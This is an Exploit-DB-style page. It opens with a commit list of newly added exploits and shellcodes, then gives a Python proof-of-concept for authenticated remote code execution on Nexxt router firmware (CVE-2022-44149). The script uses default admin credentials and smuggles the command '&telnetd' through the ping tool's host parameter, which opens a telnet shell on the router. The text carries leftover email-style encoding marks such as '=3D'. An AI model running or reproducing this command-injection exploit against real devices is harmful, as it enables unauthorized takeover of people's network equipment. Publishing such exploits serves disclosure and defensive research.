3de26153c8
23 changes to exploits/shellcodes/ghdb ELSI Smart Floor V3.3.3 - Stored Cross-Site Scripting (XSS) Hughes Satellite Router HX200 v8.3.1.14 - Remote File Inclusion Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated) TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated) GeoVision Camera GV-ADR2701 - Authentication Bypass AD Manager Plus 7122 - Remote Code Execution (RCE) Enlightenment v0.25.3 - Privilege escalation Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE) Apache 2.4.x - Buffer Overflow perfSONAR v4.4.5 - Partial Blind CSRF SugarCRM 12.2.0 - Remote Code Execution (RCE) XCMS v1.83 - Remote Command Execution (RCE) Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected Cross Site Scripting (XSS) GitLab v15.3 - Remote Code Execution (RCE) (Authenticated) AimOne Video Converter V2.04 Build 103 - Buffer Overflow (DoS) NetIQ/Microfocus Performance Endpoint v5.1 - remote root/SYSTEM exploit Splashtop 8.71.12001.0 - Unquoted Service Path Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS) FlipRotation v1.0 decoder - Shellcode (146 bytes) Linux/x86 - Polymorphic linux x86 Shellcode (92 Bytes) macOS/x64 - Execve Caesar Cipher String Null-Free Shellcode
42 lines
No EOL
1.1 KiB
Python
Executable file
42 lines
No EOL
1.1 KiB
Python
Executable file
# Exploit Title: Nexxt Router Firmware 42.103.1.5095 - Remote Code Executio=
|
|
n (RCE) (Authenticated)
|
|
# Date: 19/10/2022
|
|
# Exploit Author: Yerodin Richards
|
|
# Vendor Homepage: https://www.nexxtsolutions.com/
|
|
# Version: 42.103.1.5095
|
|
# Tested on: ARN02304U8
|
|
# CVE : CVE-2022-44149
|
|
|
|
import requests
|
|
import base64
|
|
|
|
router_host =3D "http://192.168.1.1"
|
|
username =3D "admin"
|
|
password =3D "admin"
|
|
|
|
|
|
def main():
|
|
send_payload("&telnetd")
|
|
print("connect to router using: `telnet "+router_host.split("//")[1]+ "=
|
|
` using known credentials")
|
|
pass
|
|
|
|
def gen_header(u, p):
|
|
return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii")
|
|
|
|
def get_cookie(header):
|
|
url =3D router_host+"/login"
|
|
params =3D {"arg":header, "_n":1}
|
|
resp=3Drequests.get(url, params=3Dparams)
|
|
=20
|
|
def send_payload(payload):
|
|
url =3D router_host+"/goform/sysTools"
|
|
headers =3D {"Authorization": "Basic {}".format(gen_header(username, pa=
|
|
ssword))}
|
|
params =3D {"tool":"0", "pingCount":"4", "host": payload, "sumbit": "OK=
|
|
"}
|
|
requests.post(url, headers=3Dheaders, data=3Dparams)
|
|
|
|
|
|
if __name__ =3D=3D '__main__':
|
|
main() |